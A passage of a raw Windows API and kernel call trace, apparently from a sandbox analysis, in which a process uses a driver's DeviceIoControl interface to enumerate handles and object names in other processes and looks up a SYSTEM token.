lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.939] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.939] PsAcquireProcessExitSynchronization () returned 0x0 [0121.939] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.939] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003409590, HandleInformation=0x0) returned 0x0 [0121.939] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.939] PsReleaseProcessExitSynchronization () returned 0x2 [0121.939] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.940] ObQueryNameString (in: Object=0xfffffa8003409590, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.940] ObfDereferenceObject (Object=0xfffffa8003409590) returned 0x1 [0121.940] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.940] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0121.940] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.940] PsAcquireProcessExitSynchronization () returned 0x0 [0121.940] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.940] ObReferenceObjectByHandle (in: Handle=0x588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0121.940] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.940] PsReleaseProcessExitSynchronization () returned 0x2 [0121.940] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.940] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.940] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0121.940] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.940] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0121.940] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.940] PsAcquireProcessExitSynchronization () returned 0x0 [0121.940] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.940] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b68070, HandleInformation=0x0) returned 0x0 [0121.940] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.940] PsReleaseProcessExitSynchronization () returned 0x2 [0121.940] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.940] ObQueryNameString (in: Object=0xfffffa8003b68070, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.940] ObfDereferenceObject (Object=0xfffffa8003b68070) returned 0x2 [0121.940] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.940] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0121.941] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.941] PsAcquireProcessExitSynchronization () returned 0x0 [0121.941] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.941] ObReferenceObjectByHandle (in: Handle=0x590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b68b30, HandleInformation=0x0) returned 0x0 [0121.941] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.941] PsReleaseProcessExitSynchronization () returned 0x2 [0121.941] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.941] ObQueryNameString (in: Object=0xfffffa8003b68b30, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.941] ObfDereferenceObject (Object=0xfffffa8003b68b30) returned 0x1 [0121.941] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.941] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.941] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.941] PsAcquireProcessExitSynchronization () returned 0x0 [0121.941] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.941] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0121.941] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.941] PsReleaseProcessExitSynchronization () returned 0x2 [0121.941] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.941] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.941] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0121.941] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.941] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.941] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.941] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0121.941] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.941] PsAcquireProcessExitSynchronization () returned 0x0 [0121.941] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.941] ObReferenceObjectByHandle (in: Handle=0x670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f8b590, HandleInformation=0x0) returned 0x0 [0121.941] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.942] PsReleaseProcessExitSynchronization () returned 0x2 [0121.942] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.942] ObQueryNameString (in: Object=0xfffffa8002f8b590, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.942] ObfDereferenceObject (Object=0xfffffa8002f8b590) returned 0x4 [0121.942] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.942] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.942] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x56, lpOverlapped=0x0) returned 1 [0121.942] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.942] PsAcquireProcessExitSynchronization () returned 0x0 [0121.942] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.942] ObReferenceObjectByHandle (in: Handle=0x684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003575ea0, HandleInformation=0x0) returned 0x0 [0121.942] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.942] PsReleaseProcessExitSynchronization () returned 0x2 [0121.942] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.942] ObQueryNameString (in: Object=0xfffffa8003575ea0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.942] ObfDereferenceObject (Object=0xfffffa8003575ea0) returned 0x2 [0121.942] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.942] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.942] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.942] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0121.942] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.942] PsAcquireProcessExitSynchronization () returned 0x0 [0121.942] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.942] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800321a890, HandleInformation=0x0) returned 0x0 [0121.942] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.942] PsReleaseProcessExitSynchronization () returned 0x2 [0121.942] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.943] ObQueryNameString (in: Object=0xfffffa80027268b0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.943] ObfDereferenceObject (Object=0xfffffa800321a890) returned 0x1 [0121.943] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.943] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.943] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0121.943] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.943] PsAcquireProcessExitSynchronization () returned 0x0 [0121.943] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.943] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003469300, HandleInformation=0x0) returned 0x0 [0121.943] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.943] PsReleaseProcessExitSynchronization () returned 0x2 [0121.943] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.943] ObQueryNameString (in: Object=0xfffffa8003469300, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.943] ObfDereferenceObject (Object=0xfffffa8003469300) returned 0x11 [0121.943] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.943] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.943] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.943] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.943] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.943] PsAcquireProcessExitSynchronization () returned 0x0 [0121.943] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880044355d0) [0121.943] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800dbff6c0, HandleInformation=0x0) returned 0x0 [0121.943] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.943] PsReleaseProcessExitSynchronization () returned 0x2 [0121.943] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0121.943] ObQueryNameString (in: Object=0xfffffa800dbff6c0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.943] ObfDereferenceObject (Object=0xfffffa800dbff6c0) returned 0x1 [0121.943] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.943] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.944] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0121.944] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.944] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0121.944] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000924) returned 0x0 [0121.944] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0121.944] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000924, DesiredAccess=0x8, TokenHandle=0xfffffa8003522240 | out: TokenHandle=0xfffffa8003522240*=0xc8) returned 0x0 [0121.944] ZwClose (Handle=0xffffffff80000924) returned 0x0 [0121.944] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.944] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.944] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.946] CloseHandle (hObject=0xc8) returned 1 [0121.946] CloseHandle (hObject=0xc0) returned 1 [0121.946] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.946] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.946] PsAcquireProcessExitSynchronization () returned 0x0 [0121.946] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.946] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003175900, HandleInformation=0x0) returned 0x0 [0121.946] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.946] PsReleaseProcessExitSynchronization () returned 0x2 [0121.946] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.946] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.946] ObfDereferenceObject (Object=0xfffffa8003175900) returned 0x1 [0121.946] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.946] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.946] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.946] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.946] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.946] PsAcquireProcessExitSynchronization () returned 0x0 [0121.946] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.946] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800317e850, HandleInformation=0x0) returned 0x0 [0121.946] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.946] PsReleaseProcessExitSynchronization () returned 0x2 [0121.946] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.946] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.946] ObfDereferenceObject (Object=0xfffffa800317e850) returned 0x1 [0121.946] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0121.947] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.947] PsAcquireProcessExitSynchronization () returned 0x0 [0121.947] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.947] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f7fc80, HandleInformation=0x0) returned 0x0 [0121.947] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.947] PsReleaseProcessExitSynchronization () returned 0x2 [0121.947] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.947] ObQueryNameString (in: Object=0xfffffa8002f7fc80, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.947] ObfDereferenceObject (Object=0xfffffa8002f7fc80) returned 0x2 [0121.947] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.947] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.947] PsAcquireProcessExitSynchronization () returned 0x0 [0121.947] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.947] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.947] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.947] PsReleaseProcessExitSynchronization () returned 0x2 [0121.947] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.947] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.947] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.947] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.947] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.947] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.947] PsAcquireProcessExitSynchronization () returned 0x0 [0121.947] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, 